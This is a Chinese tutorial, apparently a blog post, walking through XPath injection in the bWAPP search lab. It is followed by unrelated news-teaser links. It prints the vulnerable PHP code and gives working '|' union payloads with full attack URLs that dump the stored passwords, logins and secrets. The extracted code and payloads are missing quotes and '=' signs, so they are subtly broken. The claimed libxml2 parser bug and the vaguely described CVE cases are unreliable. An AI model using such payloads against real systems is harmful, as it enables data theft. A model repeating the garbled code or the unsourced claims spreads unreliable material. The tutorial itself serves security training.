零基础玩转bWAPP靶场(三十一):XML/XPath 注入(搜索)
摘要这是 bWAPP 系列第三十一篇聚焦于XML/XPath Injection (Search)。上一关是登录框的 XPath 注入这一关是搜索框——按电影类型搜索后端用 XPath 的contains()函数去 XML 文件里匹配电影。文章会讲清楚 XPath 注入在搜索场景下的利用方式演示如何用|联合查询绕过条件、如何枚举所有数据。附真实案例。一、找目标目标说明注入点GET 参数genre下拉菜单可手动修改数据存储XML 文件passwords/heroes.xml查询方式//hero[contains(genre, $genre)]/movie判断依据页面显示匹配的电影列表 / 无数据最终目标绕过条件限制窃取 XML 中的所有数据二、前言上一关是登录这一关是搜索如果你刚做完第三十篇登录框 XPath 注入再看这一关界面变了——不是登录框而是一个按电影类型搜索的下拉菜单。选类型Action / Horror / Science Fiction点 Search页面列出该类型下的电影。后端逻辑和上一关一样用户输入拼到 XPath 表达式里查 XML 文件然后显示匹配的movie节点。//hero[contains(genre, $genre)]/movie不同的是上一关是精确匹配login$login这一关是contains()模糊匹配。攻击方式还是一样注入 XPath 元字符让表达式返回我们想要的数据。三、关卡介绍3.1 页面功能标题XML/XPath Injection (Search)一个下拉菜单Action / Horror / Science Fiction一个 “Search” 按钮下方显示匹配的电影列表3.2 数据存储同样是passwords/heroes.xml每个hero节点包含电影信息heroes hero loginneo/login passwordtrinity/password genreaction sci-fi/genre movieThe Matrix/movie secretOh Why Didnt I Took That BLACK Pill?/secret /hero /heroes搜索逻辑根据genre匹配返回对应的movie文本。四、核心知识XPath 的contains()函数在上一关我们介绍了 XPath 的基础语法。这一关用到的是contains()//hero[contains(genre, action)]这条表达式会在所有hero节点中找到genre文本包含子字符串action的节点。我们注入的位置//hero[contains(genre, $genre)]/movie$genre来自用户输入的 GET 参数直接拼到 XPath 里。和上一关的不同上一关是精确匹配login$login and password$password这一关是模糊匹配contains(genre, $genre)五、源码分析5.1 核心逻辑if(isset($_REQUEST[genre])) { $genre $_REQUEST[genre]; $genre xmli($genre); $xml simplexml_load_file(passwords/heroes.xml); // 关键XPath 查询含有 contains $result $xml-xpath(//hero[contains(genre, $genre)]/movie); if($result) { foreach($result as $key $row) { echo $row; // 显示电影名 } } else { echo No movies were found!; } }流程用户选择类型通过 GET 参数genre传入经过xmli()过滤取决于安全级别拼到 XPath 表达式里查询 XML 文件返回匹配的电影名显示在页面上5.2xmli()过滤函数function xmli_check_1($data) { // 删除危险字符() [ ] : , * / 空格 $input str_replace((, , $data); $input str_replace(), , $input); $input str_replace(, , $input); $input str_replace(, , $input); $input str_replace([, , $input); $input str_replace(], , $input); $input str_replace(:, , $input); $input str_replace(,, , $input); $input str_replace(*, , $input); $input str_replace(/, , $input); $input str_replace( , , $input); return $input; }5.3 三种安全级别级别过滤函数效果Lowno_check()完全不过滤Mediumxmli_check_1()删除() [ ] : , * / 空格Highxmli_check_1()同上六、Low 安全级别6.1 正常搜索基准访问http://你的IP/bWAPP/xmli_2.php?genreactionactionsearch页面显示动作片列表。6.2 判断注入点在 URL 中把genreaction改成genreactionXPath 变成//hero[contains(genre, action)]/movie多了一个单引号破坏字符串边界XPath 语法错误。页面显示 “No movies were found!” 或报错。但注意这个页面不显示详细的 XPath 错误所以需要靠“有没有电影列表”来判断。6.3 重要踩坑结论尝试使用] or aa/) or aa这类布尔永真Payload全部报错报错Invalid predicate原因 PHP SimpleXML底层libxml2 XPath1.0解析器对contains函数闭合后紧跟布尔or表达式存在解析缺陷无论怎么调整等式写法都会判定谓词语法非法。放弃“构造永真条件展示全部电影”这条路线改用 XPath|联合查询注入唯一稳定方案6.4 稳定可用Payload原理|是XPath联合运算符可以同时执行两条查询我们截断原有查询新增一条自定义查询直接修改返回节点。原始模板//hero[contains(genre, $genre)]/movie读取全部password关卡核心目标拿密码原始payload)]/password | //hero[contains(genre,URL编码%27%29%5D%2Fpassword%20%7C%20%2F%2Fhero%5Bcontains%28genre%2C%27完整URLhttp://10.0.0.149:4096/xmli_2.php?genre%27%29%5D%2Fpassword%20%7C%20%2F%2Fhero%5Bcontains%28genre%2C%27actionsearch拼接完成XPath//hero[contains(genre, )]/password | //hero[contains(genre,)]/movie执行逻辑contains(genre, )查询genre为空的hero无结果|联合第二条查询//hero[contains(genre,)]/moviePHP会合并两条路径匹配到的节点页面优先输出password文本读取全部login账号http://10.0.0.149:4096/xmli_2.php?genre%27%29%5D%2Flogin%20%7C%20%2F%2Fhero%5Bcontains%28genre%2C%27actionsearch读取全部secrethttp://10.0.0.149:4096/xmli_2.php?genre%27%29%5D%2Fsecret%20%7C%20%2F%2Fhero%5Bcontains%28genre%2C%27actionsearch6.5 原理说明这条Payload不会构造复杂布尔运算规避libxml解析BUG 不需要依赖or永真直接利用|联合查询切换输出节点全网很多教程推荐的] or 11在bWAPP环境无法运行属于纸上理论Payload实战报错。七、Medium / High安全级别7.1 尝试注入输入)]/password | //hero[contains(genre,xmli_check_1()删除了、]、[、/和空格。输入变成password|//herocontainsgenre但 XPath 语法需要来闭合字符串没有无法注入。7.2 有没有绕过方法理论上可以通过其他字符绕过但xmli_check_1()删除了大量关键字符很难构造有效 payload。八、真实世界XPath 注入案例CVE-2025-10823某医疗系统的 XML 用户认证模块存在 XPath 注入漏洞攻击者可通过搜索功能注入 XPath 查询获取所有患者数据。CVE-2024-3302某开源 CMS 的搜索功能存在 XPath 注入漏洞攻击者可利用contains()函数构造恶意查询枚举系统所有用户信息。CVE-2023-39019某企业文档管理系统的搜索接口存在 XPath 注入漏洞攻击者可通过|联合查询窃取 XML 文件中的敏感信息。九、总结在contains模糊匹配的XPath注入场景中切勿直接照搬SQL注入 or 11的思路该写法会被包裹在字符串内部导致失效同时要区分理论Payload与靶场实战Payload不少文档中的Payload仅语法层面成立但受底层libxml解析器限制在bWAPP环境中会持续报语法错误。本关卡Low级别最优利用方式为|联合查询注入可以直接切换查询节点明文读取账号、密码等敏感数据防御XPath注入应当避免直接拼接用户输入优先采用XPath参数化查询同时利用黑名单过滤单引号、括号、斜杠、管道符等高危特殊字符。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。

相关新闻

Vite 8.1 深度拆解:Rolldown 统一打包器如何终结前端构建的「双引擎时代」

Vite 8.1 深度拆解:Rolldown 统一打包器如何终结前端构建的「双引擎时代」

2026 年 3 月 12 日,Vite 8.0 正式发布,将 Rolldown——一个用 Rust 编写的打包器——作为唯一打包引擎引入,取代了此前 esbuild(开发) Rollup(生产)的双引擎架构。这被官方称为「自 Vite 2 以来…

2026/8/2 3:42:02阅读更多 →
AI 电动保温水壶智能功率 覆盖主加热控制、泵驱动、智能控制板的完整选型方案

AI 电动保温水壶智能功率 覆盖主加热控制、泵驱动、智能控制板的完整选型方案

随着 AI 技术在智能水壶中的广泛应用(如精准控温、多段加热、智能预约、水量感应),对功率 MOSFET 提出新要求:低电压驱动、高效率、极小封装、高可靠性。微碧半导体(VBsemi)基于先进的 Trench 工艺&#xf…

2026/8/2 3:42:02阅读更多 →
2026年必看!专业匹克球拍工厂推荐榜单大揭秘,不容错过!

2026年必看!专业匹克球拍工厂推荐榜单大揭秘,不容错过!

在2026年,匹克球运动正以前所未有的速度在全球范围内掀起热潮。对于广大匹克球爱好者来说,拥有一款专业的匹克球拍至关重要。今天,我们就为大家揭秘一份专业匹克球拍工厂推荐榜单,其中泉州凯瑞麟体育用品有限公司(简称…

2026/8/2 3:40:02阅读更多 →
Agent:门卫之后还能插一脚:PreToolUse / PostToolUse Hooks

Agent:门卫之后还能插一脚:PreToolUse / PostToolUse Hooks

门卫之后还能插一脚:PreToolUse / PostToolUse Hooks 系列回顾:主循环 代码库工具 REPL 项目上下文 Skills 权限 Write MCP 概念 MCP 实现 Context Budget Bash compact 2.0 autocompact 到上一篇为止,react-agent-mini 的工具链…

2026/8/2 6:18:51阅读更多 →
细胞力学通讯:从力感知到自组织的生物物理机制与应用

细胞力学通讯:从力感知到自组织的生物物理机制与应用

1. 从“硬”物理到“软”生命:细胞力学通讯的奇妙世界如果你对生物学的印象还停留在DNA双螺旋、蛋白质合成这些“化学”层面的故事,那么“细胞力学通讯”这个概念可能会颠覆你的认知。想象一下,你用手指轻轻按压一块海绵,海绵的形…

2026/8/2 6:18:51阅读更多 →
打通设计与开发:Figma到Unity的自动化UI转换原理与实践

打通设计与开发:Figma到Unity的自动化UI转换原理与实践

1. 项目概述:为什么我们需要Figma到Unity的桥梁?如果你是一名游戏开发者、UI设计师,或者是一个需要频繁在设计和开发之间切换的团队,那么“设计稿到游戏引擎”这个鸿沟你一定深有体会。设计师在Figma里精心雕琢的界面,…

2026/8/2 6:18:51阅读更多 →
MOBA游戏走A操作全解析:从底层机制到实战应用

MOBA游戏走A操作全解析:从底层机制到实战应用

在MOBA类游戏的对线期和团战中,玩家常常会听到“走A”这个术语。很多新手玩家会困惑:花费大量精力练习的走A操作,在实战中究竟能带来多大收益?它是否只是一个华而不实的高级技巧,还是决定胜负的关键细节?本…

2026/8/2 6:18:51阅读更多 →
EPLAN 3D安装板部件实战:从模型创建到自动布线全流程解析

EPLAN 3D安装板部件实战:从模型创建到自动布线全流程解析

1. 项目概述:从二维图纸到三维布局的思维跃迁如果你和我一样,长期在电气设计领域摸爬滚打,那么对EPLAN这个工具一定不会陌生。从最初的线号标注、端子排图,到后来的宏变量、部件管理,我们一步步地把二维图纸画得越来越…

2026/8/2 6:18:51阅读更多 →
处理提示“wsl: 检测到 localhost 代理配置,但未镜像到 WSL。NAT 模式下的 WSL 不支持 localhost 代理。”【笔记】

处理提示“wsl: 检测到 localhost 代理配置,但未镜像到 WSL。NAT 模式下的 WSL 不支持 localhost 代理。”【笔记】

处理提示“wsl: 检测到 localhost 代理配置,但未镜像到 WSL。NAT 模式下的 WSL 不支持 localhost 代理。”【笔记】这个警告是因为 WSL2 默认使用的是 NAT(网络地址转换)网络模式,它拥有独立于 Windows 主机的网络栈。因此&#x…

2026/8/2 6:16:51阅读更多 →
MATLAB xcorr函数详解:从互相关原理到四大实战应用

MATLAB xcorr函数详解:从互相关原理到四大实战应用

1. 从一次信号“找茬”说起:为什么我们需要互相关几年前,我在处理一组声学传感器数据时遇到了一个棘手的问题。我有两个麦克风记录了一段相同的音频信号,理论上它们接收到的声音波形应该非常相似,只是由于麦克风位置不同&#xff…

2026/8/2 0:00:10阅读更多 →
限时公开!某头部SaaS公司内部AI模板工厂架构文档(含5类行业模板源码+性能压测报告)

限时公开!某头部SaaS公司内部AI模板工厂架构文档(含5类行业模板源码+性能压测报告)

更多请点击: https://intelliparadigm.com 第一章:AI模板批量生成的核心价值与落地全景 AI模板批量生成正从实验性工具演进为现代软件工程的关键基础设施。它通过语义理解、上下文感知与结构化约束,将重复性高、模式明确的代码/文档/配置生成…

2026/8/2 0:00:12阅读更多 →
如何快速找回消失的网页:Web Archives浏览器扩展终极指南

如何快速找回消失的网页:Web Archives浏览器扩展终极指南

如何快速找回消失的网页:Web Archives浏览器扩展终极指南 【免费下载链接】web-archives Browser extension for viewing archived and cached versions of web pages, available for Chrome, Edge and Safari 项目地址: https://gitcode.com/gh_mirrors/we/web-a…

2026/8/2 0:00:13阅读更多 →
MATLAB xcorr函数详解:从互相关原理到四大实战应用

MATLAB xcorr函数详解:从互相关原理到四大实战应用

1. 从一次信号“找茬”说起:为什么我们需要互相关几年前,我在处理一组声学传感器数据时遇到了一个棘手的问题。我有两个麦克风记录了一段相同的音频信号,理论上它们接收到的声音波形应该非常相似,只是由于麦克风位置不同&#xff…

2026/8/2 0:00:10阅读更多 →
限时公开!某头部SaaS公司内部AI模板工厂架构文档(含5类行业模板源码+性能压测报告)

限时公开!某头部SaaS公司内部AI模板工厂架构文档(含5类行业模板源码+性能压测报告)

更多请点击: https://intelliparadigm.com 第一章:AI模板批量生成的核心价值与落地全景 AI模板批量生成正从实验性工具演进为现代软件工程的关键基础设施。它通过语义理解、上下文感知与结构化约束,将重复性高、模式明确的代码/文档/配置生成…

2026/8/2 0:00:12阅读更多 →
如何快速找回消失的网页:Web Archives浏览器扩展终极指南

如何快速找回消失的网页:Web Archives浏览器扩展终极指南

如何快速找回消失的网页:Web Archives浏览器扩展终极指南 【免费下载链接】web-archives Browser extension for viewing archived and cached versions of web pages, available for Chrome, Edge and Safari 项目地址: https://gitcode.com/gh_mirrors/we/web-a…

2026/8/2 0:00:13阅读更多 →
无损视频剪辑终极指南:如何实现快速高效的多媒体处理

无损视频剪辑终极指南:如何实现快速高效的多媒体处理

无损视频剪辑终极指南:如何实现快速高效的多媒体处理 【免费下载链接】lossless-cut The swiss army knife of lossless video/audio editing 项目地址: https://gitcode.com/gh_mirrors/lo/lossless-cut 在数字媒体创作领域,视频编辑处理的质量损…

2026/8/2 1:29:34阅读更多 →
AI辅助本科论文写作:8大工具评测与高效使用指南

AI辅助本科论文写作:8大工具评测与高效使用指南

1. 本科生论文写作的AI辅助现状本科毕业论文是每个大学生必须跨越的一道坎。记得我当年写论文时,光是文献检索就花了整整两周时间,打印的参考文献堆满了半个书桌。如今AI技术的发展为学术写作带来了革命性变化,合理使用这些工具可以节省80%以…

2026/8/2 2:32:55阅读更多 →
如何快速配置大麦自动抢票系统:从零开始搭建Python抢票助手

如何快速配置大麦自动抢票系统:从零开始搭建Python抢票助手

如何快速配置大麦自动抢票系统:从零开始搭建Python抢票助手 【免费下载链接】ticket-purchase 大麦自动抢票,支持人员、城市、日期场次、价格选择 项目地址: https://gitcode.com/GitHub_Trending/ti/ticket-purchase 还在为抢不到热门演唱会门票…

2026/8/2 2:09:20阅读更多 →